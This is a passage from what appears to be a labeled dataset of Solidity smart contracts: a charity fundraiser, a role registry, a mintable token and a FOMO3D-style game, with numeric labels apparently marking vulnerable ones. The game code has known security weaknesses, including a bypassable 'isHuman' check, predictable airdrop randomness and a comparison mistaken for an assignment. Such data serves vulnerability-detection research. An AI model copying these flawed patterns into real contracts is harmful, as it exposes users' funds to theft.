function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract RBACManager is Ownable {
using Roles for Roles.Role;
event ManagerAdded(address indexed account);
event ManagerRemoved(address indexed account);
Roles.Role private managers;
modifier onlyOwnerOrManager() {
require(
msg.sender == owner() || isManager(msg.sender),
"unauthorized"
);
_;
}
constructor() public {
addManager(msg.sender);
}
function isManager(address account) public view returns (bool) {
return managers.has(account);
}
function addManager(address account) public onlyOwner {
managers.add(account);
emit ManagerAdded(account);
}
function removeManager(address account) public onlyOwner {
managers.remove(account);
emit ManagerRemoved(account);
}
}
contract CharityProject is RBACManager {
using SafeMath for uint256;
using SafeERC20 for IERC20;
modifier canWithdraw() {
require(
_canWithdrawBeforeEnd || _closingTime == 0 || block.timestamp > _closingTime,
"can't withdraw");
_;
}
uint256 private _feeInMillis;
uint256 private _withdrawnTokens;
uint256 private _withdrawnFees;
uint256 private _maxGoal;
uint256 private _openingTime;
uint256 private _closingTime;
address private _wallet;
IERC20 private _token;
bool private _canWithdrawBeforeEnd;
constructor (
uint256 feeInMillis,
uint256 maxGoal,
uint256 openingTime,
uint256 closingTime,
address wallet,
IERC20 token,
bool canWithdrawBeforeEnd,
address additionalManager
) public {
require(wallet != address(0), "wallet can't be zero");
require(token != address(0), "token can't be zero");
require(
closingTime == 0 || closingTime >= openingTime,
"wrong value for closingTime"
);
_feeInMillis = feeInMillis;
_maxGoal = maxGoal;
_openingTime = openingTime;
_closingTime = closingTime;
_wallet = wallet;
_token = token;
_canWithdrawBeforeEnd = canWithdrawBeforeEnd;
if (_wallet != owner()) {
addManager(_wallet);
}
if (additionalManager != address(0) && additionalManager != owner() && additionalManager != _wallet) {
addManager(additionalManager);
}
}
function feeInMillis() public view returns(uint256) {
return _feeInMillis;
}
function withdrawnTokens() public view returns(uint256) {
return _withdrawnTokens;
}
function withdrawnFees() public view returns(uint256) {
return _withdrawnFees;
}
function maxGoal() public view returns(uint256) {
return _maxGoal;
}
function openingTime() public view returns(uint256) {
return _openingTime;
}
function closingTime() public view returns(uint256) {
return _closingTime;
}
function wallet() public view returns(address) {
return _wallet;
}
function token() public view returns(IERC20) {
return _token;
}
function canWithdrawBeforeEnd() public view returns(bool) {
return _canWithdrawBeforeEnd;
}
function setMaxGoal(uint256 newMaxGoal) public onlyOwner {
_maxGoal = newMaxGoal;
}
function setTimes(
uint256 newOpeningTime,
uint256 newClosingTime
)
public
onlyOwner
{
require(
newClosingTime == 0 || newClosingTime >= newOpeningTime,
"wrong value for closingTime"
);
_openingTime = newOpeningTime;
_closingTime = newClosingTime;
}
function setCanWithdrawBeforeEnd(
bool newCanWithdrawBeforeEnd
)
public
onlyOwner
{
_canWithdrawBeforeEnd = newCanWithdrawBeforeEnd;
}
function totalRaised() public view returns (uint256) {
uint256 raised = _token.balanceOf(this);
return raised.add(_withdrawnTokens).add(_withdrawnFees);
}
function totalFee() public view returns (uint256) {
return totalRaised().mul(_feeInMillis).div(1000);
}
function hasStarted() public view returns (bool) {
return _openingTime == 0 ? true : block.timestamp > _openingTime;
}
function hasClosed() public view returns (bool) {
return _closingTime == 0 ? false : block.timestamp > _closingTime;
}
function maxGoalReached() public view returns (bool) {
return totalRaised() >= _maxGoal;
}
function withdrawTokens(
address to,
uint256 value
)
public
onlyOwnerOrManager
canWithdraw
{
uint256 expectedTotalWithdraw = _withdrawnTokens.add(value);
require(
expectedTotalWithdraw <= totalRaised().sub(totalFee()),
"can't withdraw more than available token"
);
_withdrawnTokens = expectedTotalWithdraw;
_token.safeTransfer(to, value);
}
function withdrawFees(
address to,
uint256 value
)
public
onlyOwner
canWithdraw
{
uint256 expectedTotalWithdraw = _withdrawnFees.add(value);
require(
expectedTotalWithdraw <= totalFee(),
"can't withdraw more than available fee"
);
_withdrawnFees = expectedTotalWithdraw;
_token.safeTransfer(to, value);
}
function recoverERC20(
address tokenAddress,
address receiverAddress,
uint256 amount
)
public
onlyOwnerOrManager
{
require(
tokenAddress != address(_token),
"to transfer project's funds use withdrawTokens"
);
IERC20(tokenAddress).safeTransfer(receiverAddress, amount);
}
} | 0 | 1,514 |
pragma solidity ^0.5.3;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Approvable is Ownable {
mapping(address => bool) private _approvedAddress;
modifier onlyApproved() {
require(isApproved());
_;
}
function isApproved() public view returns(bool) {
return _approvedAddress[msg.sender] || isOwner();
}
function approveAddress(address _address) public onlyOwner {
_approvedAddress[_address] = true;
}
function revokeApproval(address _address) public onlyOwner {
_approvedAddress[_address] = false;
}
}
contract StoringCreationMeta {
uint public creationBlock;
uint public creationTime;
constructor() internal {
creationBlock = block.number;
creationTime = block.timestamp;
}
}
contract UserRoles is StoringCreationMeta, Approvable {
struct Roles {
uint[] list;
mapping(uint => uint) position;
}
mapping(address => Roles) userRoles;
event RolesChanged(address indexed user, uint[] roles);
function setRole(address _user, uint _role) public onlyApproved {
_setRole(userRoles[_user], _role);
emit RolesChanged(_user, userRoles[_user].list);
}
function setRoles(address _user, uint[] memory _roles) public onlyApproved {
for(uint i = 0; i < _roles.length; ++i) {
_setRole(userRoles[_user], _roles[i]);
}
emit RolesChanged(_user, userRoles[_user].list);
}
function setRoleForUsers(address[] memory _users, uint _role) public onlyApproved {
for(uint i = 0; i < _users.length; ++i) {
_setRole(userRoles[_users[i]], _role);
emit RolesChanged(_users[i], userRoles[_users[i]].list);
}
}
function _setRole(Roles storage _roles, uint _role) private {
if (_roles.position[_role] != 0) {
return;
} else {
_roles.list.push(_role);
_roles.position[_role] = _roles.list.length;
}
}
function removeRole(address _user, uint _role) public onlyApproved {
_removeRole(userRoles[_user], _role);
emit RolesChanged(_user, userRoles[_user].list);
}
function removeRoles(address _user, uint[] memory _roles) public onlyApproved {
for(uint i = 0; i < _roles.length; ++i) {
_removeRole(userRoles[_user], _roles[i]);
}
emit RolesChanged(_user, userRoles[_user].list);
}
function _removeRole(Roles storage _roles, uint _role) private {
if (_roles.position[_role] == 0) {
return;
}
uint nIndex = _roles.position[_role] - 1;
uint lastIndex = _roles.list.length - 1;
uint lastItem = _roles.list[lastIndex];
_roles.list[nIndex] = lastItem;
_roles.position[lastItem] = nIndex + 1;
_roles.position[_role] = 0;
_roles.list.pop();
}
function hasRole(address _user, uint _role) public view returns(bool) {
return userRoles[_user].position[_role] != 0;
}
function hasAnyRole(address _user, uint[] memory _roles) public view returns(bool) {
for(uint i = 0; i < _roles.length; ++i) {
if(hasRole(_user, _roles[i])) {
return true;
}
}
return false;
}
function getUserRoles(address _user) public view returns(uint[] memory) {
return userRoles[_user].list;
}
function clearUserRoles(address _user) public onlyApproved {
Roles storage _roles = userRoles[_user];
for(uint i = 0; i < _roles.list.length; ++i) {
_roles.position[_roles.list[i]] = 0;
}
delete _roles.list;
}
} | 1 | 4,173 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Distributable is Ownable {
mapping(address => bool) public dealership;
event Trust(address dealer);
event Distrust(address dealer);
modifier onlyDealers() {
require(dealership[msg.sender]);
_;
}
function trust(address newDealer) public onlyOwner {
require(newDealer != address(0));
require(!dealership[newDealer]);
dealership[newDealer] = true;
Trust(newDealer);
}
function distrust(address dealer) public onlyOwner {
require(dealership[dealer]);
dealership[dealer] = false;
Distrust(dealer);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() public onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract DistributionToken is StandardToken, Distributable {
event Mint(address indexed dealer, address indexed to, uint256 value);
event Burn(address indexed dealer, address indexed from, uint256 value);
function mint(address _to, uint256 _value) public onlyDealers returns (bool) {
totalSupply = totalSupply.add(_value);
balances[_to] = balances[_to].add(_value);
Mint(msg.sender, _to, _value);
Transfer(address(0), _to, _value);
return true;
}
function burn(address _from, uint256 _value) public onlyDealers returns (bool) {
totalSupply = totalSupply.sub(_value);
balances[_from] = balances[_from].sub(_value);
Burn(msg.sender, _from, _value);
Transfer(_from, address(0), _value);
return true;
}
}
contract InitialToken is Ownable {
DistributionToken public token;
bool public initiated = false;
address public privateSaleAddress = 0x2F196AdBeD104ceB69C86BCD06625a9F1A6cb1aF;
uint256 public privateSaleAmount = 1800000 ether;
address public publicSaleAddress = 0x543AC29C0D11646148a93Bc8d7160b2f005D7918;
uint256 public publicSaleAmount = 7200000 ether;
function InitialToken(DistributionToken _token) public {
require(_token != address(0));
token = _token;
}
function initial() onlyOwner public {
require(!initiated);
initiated = true;
token.mint(privateSaleAddress, privateSaleAmount);
token.mint(publicSaleAddress, publicSaleAmount);
}
} | 1 | 4,012 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract GrandTheftFOMO is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x16eFB10FBf0CD487B37BC8f179A8CB76fF3B7Dae);
address private admin = msg.sender;
string constant public name = "Grand Theft FOMO";
string constant public symbol = "GTF";
uint256 private rndExtra_ = 1 minutes;
uint256 private rndGap_ = 1 minutes;
uint256 constant private rndInit_ = 2 hours;
uint256 constant private rndInc_ = 25 seconds;
uint256 constant private rndMax_ = 2 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(60,0);
fees_[1] = F3Ddatasets.TeamFee(60,0);
fees_[2] = F3Ddatasets.TeamFee(60,0);
fees_[3] = F3Ddatasets.TeamFee(60,0);
potSplit_[0] = F3Ddatasets.PotSplit(25,0);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(25,0);
potSplit_[3] = F3Ddatasets.PotSplit(25,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
